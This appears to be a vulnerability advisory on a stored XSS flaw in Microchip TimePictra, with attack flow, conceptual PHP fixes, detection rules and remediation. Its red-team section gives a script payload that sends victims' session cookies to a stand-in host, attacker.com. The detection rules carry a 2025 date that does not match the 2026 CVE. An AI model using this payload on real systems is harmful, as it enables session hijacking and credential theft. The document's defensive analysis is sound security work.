CVE-2026-3010

Executive Summary

CVE-2026-3010 is a stored Cross-Site Scripting (XSS) vulnerability affecting Microchip TimePictra versions 11.0 through 11.3 SP2. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an authenticated attacker to inject arbitrary JavaScript into the application. This can lead to session hijacking, credential theft, and unauthorized data access within the TimePictra management interface. No public exploit code or patch is currently available, and the EPSS score is 0.0%, indicating low exploitation activity at this time. The vulnerability is classified under CWE-79 and is associated with MITRE ATT&CK tactic T1190 (Exploit Public-Facing Application).

CVSS Breakdown & Threat Level

The CVSS vector is not provided in the NVD data, but based on the vulnerability type (XSS) and typical impact, a reasonable estimate is:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): Low (L) – requires authenticated user
• User Interaction (UI): Required (R) – victim must view the malicious page
• Scope (S): Changed (C) – impacts resources beyond the vulnerable component
• Confidentiality (C): Low (L)
• Integrity (I): Low (L)
• Availability (A): None (N)

Estimated CVSS Score: 5.4 (Medium)

Threat Level: Medium. The vulnerability requires authentication and user interaction, but can lead to significant data exposure and session compromise.

Deep Dive & Mechanics

The vulnerability exists in the web interface of Microchip TimePictra, a network management and timing synchronization platform. The application fails to sanitize user-supplied input before rendering it in web pages, allowing an attacker to inject malicious HTML and JavaScript code.

Attack Flow:

1. An authenticated attacker with access to the TimePictra web interface crafts a malicious payload (e.g., <script>alert('XSS')</script>).
2. The attacker submits this payload via a vulnerable input field (e.g., device name, description, or configuration parameter).
3. The payload is stored in the application's database without proper sanitization.
4. When another user (e.g., an administrator) views the affected page, the malicious script executes in their browser context.
5. The script can steal session cookies, perform actions on behalf of the victim, or exfiltrate sensitive data.

Root Cause: The application uses user input directly in HTML output without encoding or validation, violating the principle of output encoding.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code pattern is typical of XSS:

Vulnerable Code (Conceptual):

<?php
$device_name = $_POST['device_name'];
echo "<div>Device: $device_name</div>";
?>

Patched Code (Conceptual):

<?php
$device_name = htmlspecialchars($_POST['device_name'], ENT_QUOTES, 'UTF-8');
echo "<div>Device: $device_name</div>";
?>

The patched version uses htmlspecialchars() to encode special characters, preventing script injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a TimePictra instance (version 11.0 to 11.3 SP2)
• Valid user credentials with permission to modify device configurations

Exploitation Steps:

1. Log in to the TimePictra web interface.
2. Navigate to a vulnerable input field (e.g., device name, description, or alarm message).
3. Inject the following payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Save the configuration.
5. Wait for an administrator to view the affected page, triggering the XSS.

Expected Outcome: The attacker receives the victim's session cookie, allowing session hijacking.

Blue Team

Detection Steps:

1. Monitor web application logs for unusual input patterns (e.g., <script>, onerror=, javascript:).
2. Use WAF rules to block common XSS payloads.
3. Implement Content Security Policy (CSP) headers to restrict script execution.
4. Conduct regular code reviews to identify missing output encoding.

Hunting Queries:

• Search for stored data containing HTML tags in database fields.
• Look for outbound connections to unknown domains from the TimePictra server.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to attacker-controlled domains containing cookie data
  • Unusual Referer headers pointing to TimePictra pages
• Host IOCs:
  • Presence of <script> tags in database fields (e.g., device_name, description)
  • Modified configuration files with injected JavaScript
• Log IOCs:
  • Web server logs showing POST requests with XSS payloads
  • Application logs indicating failed input validation

Detection Engineering

YARA Rule

rule Detect_TimePictra_XSS_Payload {
    meta:
        description = "Detects XSS payloads in TimePictra logs or database dumps"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2026-3010"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/si
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+/si
        $xss3 = /javascript\s*:/si
    condition:
        any of them
}

Sigma Rule

title: TimePictra XSS Payload Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects XSS payloads in TimePictra web application logs
author: Valters IT
date: 2025-04-10
references:
    - CVE-2026-3010
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains:
            - '<script'
            - 'onerror='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML in descriptions (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2026-3010 TimePictra XSS Payload Detected";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"<script"; http_client_body;
    sid:1000001;
    rev:1;
    reference:cve,2026-3010;
    classtype:web-application-attack;
    priority:2;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate the TimePictra system from untrusted networks if possible.
2. Restrict user permissions to only necessary roles.
3. Monitor logs for suspicious activity.

Long-term Fixes:

1. Apply output encoding (e.g., HTML entity encoding) to all user-supplied data before rendering.
2. Implement Content Security Policy (CSP) headers to block inline scripts.
3. Conduct a full security audit of the web interface.
4. Upgrade to a patched version when available (contact Microchip support).

Workarounds:

• Use a Web Application Firewall (WAF) to filter XSS payloads.
• Disable JavaScript in browsers used to access TimePictra (not recommended for full functionality).

Valters IT
DevSecOps & Cyber Threat Intelligence
Report generated for CVE-2026-3010